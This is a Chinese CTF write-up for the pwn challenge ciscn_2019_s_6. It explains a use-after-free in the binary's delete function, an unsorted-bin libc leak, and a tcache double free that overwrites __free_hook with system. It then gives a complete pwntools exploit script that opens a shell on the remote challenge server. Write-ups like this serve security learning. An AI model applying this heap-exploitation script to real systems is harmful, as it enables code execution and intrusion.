zoukankan      html  css  js  c++  java
  • ciscn_2019_s_6

    安全检查

     开了ASLR,不能够用puts泄露了

    流程分析

    add函数

    这应该是个结构体,0x0-0x7装载着name,0x8-0xc装载着size,0xc-0x18为call,heap_number+1

     show函数

    打印,没什么特别

     call函数

    其实就是delete函数

     漏洞分析

    • 由于有aslr,所以只能想别的方法溢出,但delete有uaf漏洞,所以构造unsorted bin来泄露libc的地址
    • 泄露完libc的地址在double free然后劫持__hook_free函数,在调用即可
    from pwn import *
    
    #p=process('./ciscn_s_6')
    p=remote('node3.buuoj.cn',26462)
    elf=ELF('./ciscn_s_6')
    libc=ELF('./libc-2.27.so')
    def add(size,name,call):
        p.recvuntil('choice:')
        p.sendline('1')
        p.recvuntil('name')
        p.sendline(str(size))
        p.recvuntil('name:')
        p.sendline(name)
        p.recvuntil('call:')
        p.sendline(call)
    
    def show(idx):
        p.recvuntil('choice:')
        p.sendline('2')
        p.recvuntil('index:')
        p.sendline(str(idx))
        
    def delete(idx):
        p.recvuntil('choice:')
        p.sendline('3')
        p.recvuntil('index:')
        p.sendline(str(idx))
    
    
    
    add(0x88,'pppp','pppp')
    add(0x20,'pppp','pppp')
    add(0x20,'pppp','pppp')
    for i in range(7):
        delete(0)
    
    delete(0)
    show(0)
    p.recvuntil('name')
    unsorted_addr=u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))
    print hex(unsorted_addr)
    libc_base=unsorted_addr-0x3ebca0
    free_addr=libc.symbols['__free_hook']+libc_base
    system_addr = libc_base + libc.symbols['system']
    
    print hex(free_addr)
    #p.recvuntil()
    delete(1)
    delete(1)
    delete(1)
    
    add(0x20,p64(free_addr),'pppp')
    add(0x20,'pppp','pppp')
    add(0x20,p64(system_addr),'pppp')
    add(0x20,'/bin/sh','pppp')
    
    delete(6)
    #gdb.attach(p)
    p.interactive()
  • 相关阅读:
    一些博客
    【iOS】得到当前年、月、周的第一天和最后一天
    iOS学习路线
    UI开发--响应者链条
    通知中心 NSNotificationCenter
    UITableView的编辑(插入、删除、移动)
    FMDatabaseQueue 如何保证线程安全
    理解 dispatch_get_specific
    instancetype
    【转】手把手教你ARC——iOS/Mac开发ARC入门和使用
  • 原文地址:https://www.cnblogs.com/pppyyyzzz/p/13996874.html
Copyright © 2011-2022 走看看